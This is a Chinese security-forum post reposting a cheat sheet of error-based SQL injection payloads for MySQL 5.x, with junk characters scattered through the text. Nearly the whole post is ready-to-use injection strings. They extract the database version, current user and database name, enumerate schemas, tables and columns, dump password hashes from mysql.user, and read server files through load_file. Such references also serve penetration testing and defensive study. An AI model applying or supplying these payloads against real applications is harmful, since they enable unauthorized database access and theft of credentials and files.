找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2197|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
  P- X3 f: [- i! K4 ]" Z  d6 B
' k' I: J2 }9 P- Z: j- l/ X4 I5 x# ^& C: M! K+ a' C$ c
Mysql暴错注入参考(pdf),每天一贴。。。
$ `6 Q6 }8 N% ]- J% ^) L  x! J9 r+ E* P9 s
MySql Error Based Injection Reference
4 B6 R0 |# j! g7 j0 H" a[Mysql暴错注入参考]1 j7 b" r7 x6 K( T5 ]& l$ C
Authornig0s19927 r7 C+ U( R) m; U
Blog:http://pnig0s1992.blog.51cto.com// ]- ^) R; P6 ]) T! A4 K; h, m
TeAm:http://www.FreeBuf.com/; a$ m, J  w+ j) V. ~: a
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, p( J. O  J, t; G& u6 C5 s+ \3 R
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
* w. }; Q* u# @) v查询版本:
) g. X  c2 B1 \2 a. i4 _  x; q" BMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+0 }5 E# Q+ @* i, ~
join+(select+name_const(@@version,0))b)c)  q, t1 t# v# u8 O% E2 W
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro8 e6 h/ o6 Z" ~! N$ M
up by a)b)
5 L5 r- A8 G$ \! r$ n查询当前用户:3 L" L9 k% K2 T
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
2 L( R; r& c& }/ ?( q/ AMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
. L7 Q1 `% e- L" vand(0)*2))x+from+information_schema.tables+group+by+x)a)$ C6 }5 J5 Z/ V6 Q  ~5 z
查询当前数据库:& _& R' L; G- x
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)& `' \7 p5 C9 z& t2 H6 ?
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
/ _0 H7 @# p: c" m3 i0 N6 l# aor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)8 p) y5 N& q* @) ~* A. j% l0 G: D- q
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
5 B  @& c: l. i8 T: `LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n1 u; E$ G5 v, ^  R* }8 L
顺序替换
& @3 w/ D3 [- _' z2 f1 d5 C爆指定库数目:
# m1 j/ b( V- E5 O( F' H$ @4 qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t! H% A( F: w- _' P
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
% X7 `( m7 T3 q7 @: h$ I- f+by+x)a)+and+1=1 0x6D7973716C=mysql
9 K% Q! R: u2 P5 O9 ]依次爆表:) _' r0 b+ T. d% T* V3 `
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t! h  G7 I6 i$ S* O
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
- ]1 p" ~' e" _& sbles+group+by+x)a)+and+1=1
1 q, J9 h. j9 [" S0x6D7973716C=Mysql 将n顺序替换" ~  ?$ y& i, V: O7 S6 w6 ]/ L
爆表内字段数目:9 v+ R) J3 t" f0 S2 N4 Y2 v
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE! K; ]0 S* Q! b* I) P( i
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran  O3 n& E6 Y, _8 _- C0 C9 K5 C
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1# o4 g% A: w; `7 h. c9 L
依次爆字段:
, s7 P  T9 m8 E3 Y& eand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
6 m! ^& g0 G8 Y8 z. N, x6 Q: i+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" L2 E9 `3 R6 c) M4 hloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
3 N- q1 t; r- I  v( P依次暴内容:& M7 c# B8 Z. D/ y$ e/ G: I* J
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
* p" Y# ^7 n. _ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=18 c# H# j, L5 m8 S( K, S0 f
将n顺序替换# S, [/ h! m* C
爆文件内容:
( L. k/ x3 J6 D: C! Land+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
) A0 M$ o. p4 S* |3 O3 R, |from+information_schema.tables+group+by+a)b)
9 \+ I5 W- I2 V0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节/ w4 o" s. o. V9 N
Thx for reading.9 c) w5 Y& S4 o- a& b( y7 I

* J" B7 L6 y7 |1 o7 B不要下载也可以,
2 B7 G$ j, E  [* r* z! F( k

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表